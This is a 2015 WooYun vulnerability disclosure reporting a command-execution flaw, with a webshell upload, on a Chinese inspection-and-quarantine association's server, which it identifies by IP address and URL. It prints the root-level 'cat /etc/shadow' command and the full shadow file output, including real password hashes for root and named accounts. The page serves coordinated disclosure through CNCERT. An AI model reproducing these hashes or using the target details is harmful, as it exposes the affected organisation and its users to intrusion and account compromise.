当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122152

漏洞标题：某出入境检验检疫协会存在严重漏洞(可shell)

相关厂商：cncert国家互联网应急中心

漏洞作者： 朱元璋

提交时间：2015-06-29 15:17

修复时间：2015-08-17 12:06

公开时间：2015-08-17 12:06

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-29： 细节已通知厂商并且等待厂商处理中
2015-07-03： 厂商已经确认，细节仅向厂商公开
2015-07-13： 细节向核心白帽子及相关领域专家公开
2015-07-23： 细节向普通白帽子公开
2015-08-02： 细节向实习白帽子公开
2015-08-17： 细节向公众公开

简要描述：

详细说明：

地址http://124.42.19.180:8088/chouchaReg/choucha/toReg-reg.action?classId=90000存在命令执行漏洞

0.png


传马进服务器，呵呵

1.jpg


whoami

root


cat /etc/shadow

运行结果：
 root:$1$LgqoyJad$4rXTKxrMThldA2CTKwxtV1:16198:0:99999:7:::
 bin:*:12817:0:99999:7:::
 daemon:*:12817:0:99999:7:::
 adm:*:12817:0:99999:7:::
 lp:*:12817:0:99999:7:::
 sync:*:12817:0:99999:7:::
 shutdown:*:12817:0:99999:7:::
 halt:*:12817:0:99999:7:::
 mail:*:12817:0:99999:7:::
 news:*:12817:0:99999:7:::
 uucp:*:12817:0:99999:7:::
 operator:*:12817:0:99999:7:::
 games:*:12817:0:99999:7:::
 gopher:*:12817:0:99999:7:::
 ftp:*:12817:0:99999:7:::
 nobody:*:12817:0:99999:7:::
 rpm:!!:12817:0:99999:7:::
 vcsa:!!:12817:0:99999:7:::
 nscd:!!:12817:0:99999:7:::
 sshd:!!:12817:0:99999:7:::
 rpc:!!:12817:0:99999:7:::
 rpcuser:!!:12817:0:99999:7:::
 nfsnobody:!!:12817:0:99999:7:::
 mailnull:!!:12817:0:99999:7:::
 smmsp:!!:12817:0:99999:7:::
 pcap:!!:12817:0:99999:7:::
 xfs:!!:12817:0:99999:7:::
 ntp:!!:12817:0:99999:7:::
 gdm:!!:12817:0:99999:7:::
 desktop:!!:12817:0:99999:7:::
 amanda:!!:12817:0:99999:7:::
 apache:!!:12817:0:99999:7:::
 named:!!:12817:0:99999:7:::
 webalizer:!!:12817:0:99999:7:::
 squid:!!:12817:0:99999:7:::
 postfix:!!:12817:0:99999:7:::
 postgres:!!:12817:0:99999:7:::
 canna:!!:12817:0:99999:7:::
 wnn:!!:12817:0:99999:7:::
 pvm:!!:12817:0:99999:7:::
 radiusd:!!:12817:0:99999:7:::
 ldap:!!:12817:0:99999:7:::
 netdump:!!:12817:0:99999:7:::
 quagga:!!:12817:0:99999:7:::
 radvd:!!:12817:0:99999:7:::
 virtual:!!:12922:0:99999:7:::
 etooth:$1$pw.zsYgn$swK0R2uzx6x45ZaH6tcG61:13062:0:99999:7:::
 baozhuang:$1$ilSgcvMQ$Q7iZBCJtjz9ND4hOb3f5P0:14321:0:99999:7:::
 yh:$1$azriRY8/$1RvcWCHtx96BTboml1MNs1:14321:0:99999:7:::
 ciqcid:$1$IIhNQsM0$d.tuiGHpkFGq7ymxNeYsB0:14306:0:99999:7:::
 ciqorgcn:$1$k0yxRh65$4cThvkto2LnCLsM1JXf0m1:14306:0:99999:7:::
 yuhujiang:$1$OWOqmN9A$DeVXOrImTFMIOdpCHNptX1:15044:0:99999:7:::

漏洞证明：

2.jpg

修复方案：

加强安全意识

版权声明：转载请注明来源 朱元璋@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2015-07-03 12:05

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT下发给北京分中心,由其后续尝试协调网站管理单位处置.

最新状态：

暂无

漏洞评价：

评论